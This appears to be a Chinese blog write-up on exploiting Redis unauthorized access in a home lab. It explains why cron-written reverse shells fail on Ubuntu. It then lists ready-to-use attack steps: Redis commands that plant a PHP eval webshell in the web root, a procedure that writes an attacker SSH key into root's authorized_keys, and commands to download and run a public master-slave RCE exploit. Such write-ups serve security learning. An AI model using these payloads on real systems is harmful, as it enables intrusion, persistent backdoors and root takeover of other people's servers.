0x00 背景
- 在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题。
0x01 环境准备
- ubuntu16.04,用来任务计划反弹shell的靶机
- MAC,用来接收ubuntu反弹过来的shell
- redis4.0.10未授权访问漏洞
0x02 具体过程
0x02.1 安装redis
-
安装:下载、解压、编译
1
2
3
4
5$ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
$ tar xzf redis-4.0.10.tar.gz
$ mv redis-4.0.10 /usr/local/redis
$ cd /usr/local/redis
$ make
-
创建服务:二进制文件是编译完成后在src目录下,客户端是/usr/local/redis/src/redis-cli,服务器是/usr/local/redis/src/redis-server。下面为这两个文件做软链接。
1
2$ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
$ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd -
至此,表明你的redis已经安装完毕。
0x02.2 修改远程登陆配置文件
1
|
$ vim /usr/local/redis/redis.conf 配置文件
|
- 默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!
0x02.3 攻击利用
- redis基本命令
1
|
连接redis:
|
0x02.4 利用计划任务执行命令反弹shell
- 在redis以root权限运行时可以写crontab来执行命令反弹shell
1
|
先在自己的服务器上监听一个端口
|
1
|
再次科普下:
|
1
|
ubuntu下可以利用的cron有以下几个地方:
|
登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
–
我们手动把乱码删除,发现依然无法成功反弹shell。这是为什么呢?
通过视频资料发现ubantu下默认使用/bin/dash执行脚本的问题,解决方式:将shell环境修改为bash。
成功反弹shell
扩展思路
-
利用Redis未授权访问写定时任务反弹shell
-
利用Redis未授权访问写webshell
-
通过redis未授权访问漏洞向ubuntu的web跟目录下写入一个webshell,然后要知道网站的根目录,在该测试环境下网站的根目录为/var/www/html
1
2
3
4set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
-
-
利用redis未授权访问向远程服务器写入ssh公钥
1
2
3
4
5
6
7
8
9
10
11
12
13在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
接下来在redis-cli的交互式shell下执行
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i id_rsa root@ip -
Redis 基于主从复制的RCE利用方式
-
什么是Redis主从复制
-
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
-
漏洞利用
-
下载Exp
- git clone https://github.com/Ridter/redis-rce.git
-
下载 exp.so
-
下载后放到 redis-rce 目录下
- wget –no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
-
-
利用
-
此处可以通过 -p 去设置目标端口(默认6379)
- python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
-
-
-
利用redis未授权访问远程命令执行\
-
链接:https://pan.baidu.com/s/1ZqSeFC4p-hoUjOGCs96wOg
提取码:9qya -